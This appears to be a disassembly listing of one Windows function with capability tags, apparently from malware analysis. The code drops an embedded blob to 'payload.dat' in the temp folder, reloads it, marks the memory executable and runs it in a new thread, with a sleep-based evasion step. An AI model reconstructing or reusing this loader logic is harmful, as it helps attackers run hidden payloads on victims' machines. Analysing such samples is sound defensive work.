Function at 0x140001510
Capabilities:
Get common file path
Get file size
Read file on windows
Terminate process
Write file on windows

Disassembly:
push rbp
push r15
lea rbp, [rsp - 0x4f]
sub rsp, 0xb8
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x3f], rax
xor r15d, r15d
mov dword [rbp - 9], r15d
mov eax, r15d
nop dword [rax + rax]
lea r8d, [rax + 1]
mov ecx, r8d
imul ecx, eax
mov eax, dword [rbp - 9]
add ecx, eax
mov dword [rbp - 9], ecx
mov eax, dword [rbp - 9]
test al, 1
mov eax, dword [rbp - 9]
jne 0x140001564
lea ecx, [rax + rax*2]
mov dword [rbp - 9], ecx
jmp 0x14000156c
cdq
sub eax, edx
sar eax, 1
mov dword [rbp - 9], eax
mov eax, r8d
cmp r8d, 0x64
jl 0x140001540
mov ecx, 0x63
call fcn.140001470
lea rcx, str.This_is_the_original_function._n
call fcn.1400013b0
xor r9d, r9d
mov qword [rbp + 0x17], 0xffffffffffffffff
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x50], r15
lea rcx, [rbp + 0x17]
mov qword [rsp + 0x48], r15
mov r9, 0xffffffffffffffff
mov qword [rsp + 0x40], r15
xor r8d, r8d
mov qword [rbp - 1], rax
mov edx, 0x1fffff
mov qword [rsp + 0x38], r15
lea rax, [rbp - 1]
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], rax
lea rax, [0x1400014e0]
mov qword [rsp + 0x20], rax
call fcn.140001cb0
mov rcx, qword [rbp - 1]
mov edx, 0x2328
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x140001619
mov ecx, 0x5d8a0000
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rsp + 0xd0], rbx
lea rdx, [0x140008480]
mov ecx, 0x104
mov qword [rsp + 0xe0], rdi
mov dword [rbp - 1], r15d
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x1400016e7
lea rax, str.payload.dat
mov edx, 0x104
lea r9, [0x140008480]
mov qword [rsp + 0x20], rax
lea r8, str._s_s
lea rcx, [0x140008480]
call fcn.140001410
test eax, eax
js 0x1400016e7
mov qword [rsp + 0x30], r15
lea rcx, [0x140008480]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400016e7
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp + 0x27]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
lea r9, [rbp - 1]
mov qword [rsp + 0x20], r15
mov r8d, 0x882
lea rdx, [0x140005040]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], r15
lea rcx, [0x140008480]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
mov dword [rbp + 0x1f], r15d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001744
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x140003348]
lea rcx, str.______s____FAILED____t_d__n
call fcn.1400013b0
xor eax, eax
jmp 0x14000195e
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
cmp eax, 0xffffffff
jne 0x140001779
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x140003358]
lea rcx, str.______s____FAILED____t_d__n
call fcn.1400013b0
xor eax, eax
jmp 0x14000195e
mov qword [rsp + 0xd8], rsi
mov qword [rsp + 0xb0], r14
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
jne 0x1400017ba
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [0x140003368]
jmp 0x14000193d
lea r9, [rbp + 0x1f]
mov qword [rsp + 0x20], r15
mov r8d, ebx
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [rbp + 0x1f]
test eax, eax
je 0x140001921
cmp edx, ebx
jne 0x140001921
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r9, [rbp + 0x27]
mov qword [rbp + 0x27], r15
lea r8, [rbp - 1]
mov qword [rbp - 1], r15
mov rdx, rbx
mov rcx, rsi
call fcn.140001160
test eax, eax
jne 0x140001817
mov eax, 0xffffffff
jmp 0x14000194e
lea rcx, str.___DONE__n
call fcn.1400013b0
xor r8d, r8d
mov dword [rsp + 0x28], 4
lea r9, [rbp + 0x2f]
mov qword [rbp + 7], r15
lea rdx, [rbp + 7]
mov qword [rbp + 0x2f], 0x2000
mov dword [rsp + 0x20], 0x3000
lea rcx, [r8 - 1]
call fcn.140001c70
mov r8, qword [rbp + 0x27]
mov rdx, qword [rbp - 1]
mov rcx, qword [rbp + 7]
call sub.VCRUNTIME140.dll_memmove
lea rcx, [rbp + 0x23]
mov dword [rbp + 0x23], r15d
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x2f]
mov rcx, 0xffffffffffffffff
lea rdx, [rbp + 7]
mov r9d, 0x20
call fcn.140001bf0
test eax, eax
jns 0x140001899
mov eax, 2
jmp 0x14000194e
mov rcx, qword [rbp + 7]
mov r9, 0xffffffffffffffff
mov qword [rsp + 0x50], r15
xor r8d, r8d
mov qword [rsp + 0x48], r15
mov edx, 0x1fffff
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0xf]
mov qword [rbp + 0xf], 0xffffffffffffffff
call fcn.140001cb0
test eax, eax
jns 0x1400018eb
mov eax, 3
jmp 0x14000194e
mov rcx, qword [rbp + 0xf]
lea r8, [rbp + 0x37]
xor edx, edx
mov qword [rbp + 0x37], 0xfffffffffa0a1f00
call fcn.140001cf0
test eax, eax
jns 0x14000194c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____aaaaaaa_n
call fcn.1400013b0
mov eax, 4
jmp 0x14000194e
mov r8d, ebx
lea rcx, str._i__Read__ld_from__ld_Bytes__n
call fcn.1400013b0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [0x140003398]
mov r8d, eax
lea rcx, str.______s____FAILED____t_d__n
call fcn.1400013b0
xor eax, eax
mov rsi, qword [rsp + 0xd8]
mov r14, qword [rsp + 0xb0]
mov rbx, qword [rsp + 0xd0]
mov rdi, qword [rsp + 0xe0]
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.140001d40
add rsp, 0xb8
pop r15
pop rbp
ret